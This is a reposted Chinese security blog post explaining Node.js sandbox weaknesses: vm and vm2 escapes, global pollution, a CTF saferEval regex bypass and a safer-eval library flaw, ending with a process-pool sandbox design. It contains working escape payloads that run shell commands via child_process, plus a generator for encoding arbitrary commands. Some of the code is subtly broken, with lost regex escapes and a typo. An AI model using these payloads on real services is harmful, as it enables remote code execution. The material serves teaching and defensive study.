【转载】nodejs沙箱与黑魔法

admin 2022年3月1日23:33:06评论155 views字数 5387阅读17分57秒阅读模式

什么是沙箱

node官方文档里提到node的vm模块可以用来做沙箱环境执行代码,对代码的上下文环境做隔离
A common use case is to run the code in a sandboxed environment.
The sandboxed code uses a different V8 Context, meaning that it has a different global object than the rest of the code.

JavaScript本身极其灵活 所以容易出现许多黑魔法

这个node沙箱,他安全吗?

vm相对于尽管隔离了代码上下文环境,但是依然可以访问标准的JS API和全局的NodeJS环境
因此vm并不安全

The vm module is not a security mechanism. Do not use it to run untrusted code

举个例子

const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()")
console.log("The app goes on...")

很轻易看出 这一段代码永远不会输出
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示

let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);

上述代码中的ctx不能包含引用类型的属性
即使能访问标准的JS API和全局的NodeJS环境
也不会造成污染
这是由于node原生vm设计缺陷引起的
于是就有了vm2
https://github.com/patriksimek/vm2

const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// Throws ReferenceError: process is not defined

vm2的timeout对于异步代码不起作用
所以下面的代码永远不会执行结束
陷入死循环

const { VM } = require('vm2');
const vm = new VM({ timeout: 1000, sandbox: {}});
vm.run('new Promise(()=>{})');

这个时候就可以使用黑魔法:通过重新定义Promise的方式来禁用Promise
绕过成功

const { VM } = require('vm2');
const vm = new VM({
timeout: 1000, sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');

全局变量污染

举个例子~

eval('1+2')

eval 是全局对象的一个函数属性,执行的代码拥有着和应程中其它正常代码一样的的权限,它具有访问执行上下文中的局部变量的功能,亦能访问全部全局变量
此时便造成了所谓的全局变量污染

再举个例子

观察下列两个JavaScript

function f() {
alert("f() in a.js");
}

setTimeout(function() {
f();
}, 1000);
function f() {
alert("f() in b.js");
}

setTimeout(function() {
f();
}, 2000);

先后载入a,b两个js
会看到两次"f() in b.js"
后载入的b.js把f重新定义了
假设a.js需要分割字符串
b.js需要分割数组
两个JavaScript同时拥有split函数
那一个模块就要损毁
二、解决办法
1、定义全局变量命名空间
只创建一个全局变量,并定义该变量为当前应用容器,把其他全局变量追加在该命名空间下

var sxc={};
sxc.name={
big_name:"sunxiaochuan",
small_name:"sungou"
};
sxc.work={
bilibili_work:"chouxiang",
weibo_work:"qialanqian"
};

或者使用匿名函数

(function(){
var exp={};
var name="aa";
exp.method=function(){
return name;
};
window.ex=exp;
})();

JavaScript之原型链污染

function saferEval(str) {
if (str.replace(/(?:Math(?:.w+)?)|[()+-*/&|^%<>=,?:]|(?:d+.?d*(?:ed+)?)| /g, '')) {
return null;
}
return eval(str);
}
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'ErrorOccured';
} catch (e) {
console.log(e);
result = 'ErrorOccured';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});

重点关注

function saferEval(str) {
if (str.replace(/(?:Math(?:.w+)?)|[()+-*/&|^%<>=,?:]|(?:d+.?d*(?:ed+)?)| /g, '')) {
return null;
}
return eval(str);
}

绕过正则,因为可以使用Math.随便什么单词,所以可以获取到Math.proto,但这姿势无法直接利用
但是经过尝试,我们发现,Arrow Function 是可以使用的,尝试构造这种链

((Math)=>(Math=Math.__proto__,Math=Math.__proto__))(Math)
// Math.__proto__.__proto__

然后尝试调用eval或者Function,但是此处无法直接输入字符串,故使用String.fromCharCode(...)
然后使用

Math+1 // '[object Math]1'

从原型链上导出String和Function

((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()

// 等价于
const s = Math+1; // '[object Math]1'
const a = s.constructor; // String
const e = a.fromCharCode(...); // ascii to string
const f = a.constructro; // Function
f(e)(); // 调用
exp
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()

再举一例 是最近一个业务场景中遇到的
js依赖库漏洞和vm漏洞

app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

Nodejs文档

setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。非整数的 delay 会被截断为整数。
所以直接传

?delay=2147483649

给出了package.json文件,查看使用依赖库以及版本,对其中比较核心的safer-eval感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)

然后找到了这个
利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象
vm2相关issue

构造payload

{
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
}

如何建立更为安全的沙箱环境?

通过进程池统一调度管理沙箱进程

基于资源利用最大化,提出以下方案

新建一个进程池,所有任务到来会创建一个 Script 实例
进入 pending 队列
直接将 script 实例的 defer 对象返回
调用处进行 await 执行结果
再由 sandbox master 根据工程进程的空闲程序来调度执行
这个master 会将 script 的执行信息,包括重要的 ScriptId,等等,发送给空闲的 worker
worker 执行完成后会将「结果 + script 信息」回传至 master
master 通过 ScriptId 识别执行完毕的脚本id 判断是哪个脚本结束
结果进行 resolve 或 reject 处理

这样,通过**进程池**即能降低**进程来回创建和销毁的开销**
大致机制如下
异步操作超时,
将工程进程直接kill,
master 将发现一个工程进程被kill掉
再立即创建替补进程

将数据发送至沙箱的方式也值得研究
通过动态代码处理数据,直接序列化后通过 IPC 传入隔离的 Sandbox 进程
执行结果一样经过序列化通过 IPC 传输
其中,如果需要传入一个方法给 sandbox,由于不在一个进程,并不能方便的将引用传递给 sandbox
此时我们可以将宿主方法,在传递给 sandbox worker 之类做一下处理,转换为一个**描述对象**,包括了允许 sandbox 调用的方法集合,然后将允许调用的方法列表,如同其它数据一样发送给 worker 进程,worker 收到数据后,识别出**方法描述对象**,然后在 worker 进程中的 sandbox 对象上建立代理方法,代理方法同样通过 IPC 和 master 通讯。



本文始发于微信公众号(关注安全技术):【转载】nodejs沙箱与黑魔法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日23:33:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【转载】nodejs沙箱与黑魔法http://cn-sec.com/archives/501436.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息